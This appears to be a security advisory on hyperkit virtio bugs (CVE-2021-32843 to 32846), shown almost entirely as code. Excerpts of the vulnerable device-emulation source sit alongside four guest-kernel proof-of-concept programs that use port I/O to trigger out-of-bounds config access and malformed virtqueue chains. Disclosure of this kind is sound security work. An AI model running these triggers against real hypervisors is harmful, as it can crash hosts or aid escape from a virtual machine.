GHSL-2021-054_057: Code execution outside the virtualized guest in hyperkit - CVE-2021-32843, CVE-2021-32844, CVE-2021-32845, CVE-2021-32846

static struct virtio_consts vtrnd_vi_consts = {
    "vtrnd",		    /* our name */
    1,			        /* we support 1 virtqueue */
    0,			        /* config reg size */
    pci_vtrnd_reset,	/* reset */
    pci_vtrnd_notify,	/* device-wide qnotify */
    NULL,			    /* read virtio config */
    NULL,			    /* write virtio config */
    NULL,			    /* apply negotiated features */
    0,			        /* our capabilities */
};

if (offset >= virtio_config_size) {
    /*
     * Subtract off the standard size (including MSI-X
     * registers if enabled) and dispatch to underlying driver.
     * If that fails, fall into general code.
     */
    newoff = (uint32_t) (offset - virtio_config_size);
    max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
    if ((newoff + ((unsigned) size)) > max)
        goto bad;
    error = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);
    if (!error)
        goto done;
}

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static uint8_t inb(uint16_t port)
{
    uint8_t ret;
    __asm__ __volatile__("inb %1,%0"
                         : "=a"(ret)
                         : "Nd"(port));
    return ret;
}

int kernel_main(void)
{
    inb(0x2114);
    return 0;
}

if (offset >= virtio_config_size) {
    /*
     * Subtract off the standard size (including MSI-X
     * registers if enabled) and dispatch to underlying driver.
     */
    newoff = (uint32_t) (offset - virtio_config_size);
    max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
    if ((newoff + ((unsigned) size)) > max)
        goto bad;
    error = (*vc->vc_cfgwrite)(DEV_SOFTC(vs), ((int) newoff), size,
        ((uint32_t) value));
    if (!error)
        goto done;
}

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

int kernel_main(void)
{
    outw(0x2114, 0xcafe);
    return 0;
}

static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
	struct iovec iov;
	struct pci_vtrnd_softc *sc;
	int len;
	uint16_t idx;

	sc = vsc;

	if (sc->vrsc_fd < 0) {
		vq_endchains(vq, 0);
		return;
	}

	while (vq_has_descs(vq)) {
		vq_getchain(vq, &idx, &iov, 1, NULL);

		len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
		DPRINTF(("vtrnd: vtrnd_notify(): %d\r\n", len));

		/* Catastrophe if unable to read from /dev/random */
		assert(len > 0);

		/*
		 * Release this chain and handle more
		 */
		vq_relchain(vq, idx, (uint32_t)len);
	}
	vq_endchains(vq, 1);	/* Generate interrupt if appropriate. */
}

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

#define VQ_QSIZE 0x40

int kernel_main(void)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VTCFG_R_QSEL = 0x0e
    outw(0x210e, 0);

    // 2. Initialize the queue to our address.
    // VTCFG_R_PFN = 0x08
    outl(0x2108, pfn / 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
    avail->va_idx = VQ_QSIZE + 1;

    // 4. Call pci_vtrnd_notify to trigger a vq_getchain.
    // VTCFG_R_QNOTIFY = 0x10
    // pci_emul_io_handler = 0x2100
    // pci_emul_io_handler | VTCFG_R_QNOTIFY
    outw(0x2110, 0);

    return 0;
}

static void pci_vtsock_proc_tx(struct pci_vtsock_softc *sc,
			       struct vqueue_info *vq)
{
	struct pci_vtsock_sock *sock;
	struct iovec iov_array[VTSOCK_MAXSEGS], *iov = iov_array;
	uint16_t idx, flags[VTSOCK_MAXSEGS];
	struct virtio_sock_hdr hdr;
	int iovec_len;
	size_t pulled;

	iovec_len = vq_getchain(vq, &idx, iov, VTSOCK_MAXSEGS, flags);
	assert(iovec_len <= VTSOCK_MAXSEGS);

    ...
}

static size_t iovec_pull(struct iovec **iov, int *iov_len, void *buf, size_t bytes)
{
    ...

	while (res < bytes && *iov_len) {
		size_t c = (bytes - res) < (*iov)[0].iov_len ? (bytes - res) : (*iov)[0].iov_len;

		//DPRINTF(("Copy %zd/%zd bytes from base=%p to buf=%p\n",
		//	 c, (*iov)[0].iov_len, (void*)(*iov)[0].iov_base, (void*)buf));

		if (buf) memcpy(buf, (*iov)[0].iov_base, c);

		(*iov)[0].iov_len -= c;
		(*iov)[0].iov_base = (char *)(*iov)[0].iov_base + c;

		//DPRINTF(("iov %p is now %zd bytes at %p\n", (void *)*iov,
		//	 (*iov)[0].iov_len, (void *)(*iov)[0].iov_base));

		if ((*iov)[0].iov_len == 0) {
			(*iov)++;
			(*iov_len)--;
			//DPRINTF(("iov elem consumed, now iov=%p, iov_len=%d\n", (void *)*iov, *iov_len));
		}

		if (buf) buf = (char *)buf + c;
		//DPRINTF(("buf now %p\n", (void *)buf));

		res += c;
	}
	//DPRINTF(("iovec_pull pulled %zd/%zd bytes\n", res, bytes));

	return res;
}

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>

static void
outw(uint16_t port, uint16_t value)
{
    __asm__ __volatile__("outw %w0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

static void
outl(uint16_t port, uint32_t value)
{
    __asm__ __volatile__("outl %0,%w1"
                         :
                         : "a"(value), "Nd"(port));
}

struct __attribute__((packed)) vring_avail
{
    uint16_t va_flags;  /* VRING_AVAIL_F_* */
    uint16_t va_idx;    /* counts to 65535, then cycles */
    uint16_t va_ring[]; /* size N, reported in QNUM value */
};

int kernel_main(void)
{
    // 0. Choose an address that is mapped but unused.
    uint64_t pfn = 0x1000000;

    // 1. Select a queue.
    // VTCFG_R_QSEL = 0x0e
    outw(0x212e, 1);

    // 2. Initialize the queue to our address.
    // VTCFG_R_PFN = 0x08
    outl(0x2128, pfn / 4096);

    // 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
    struct vring_avail *vq_avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x400];
    vq_avail->va_idx = 257;

    // 4. Call pci_vtsock_proc_tx to trigger a vq_getchain.
    outw(0x2120 | 0x10, 1);

    return;
}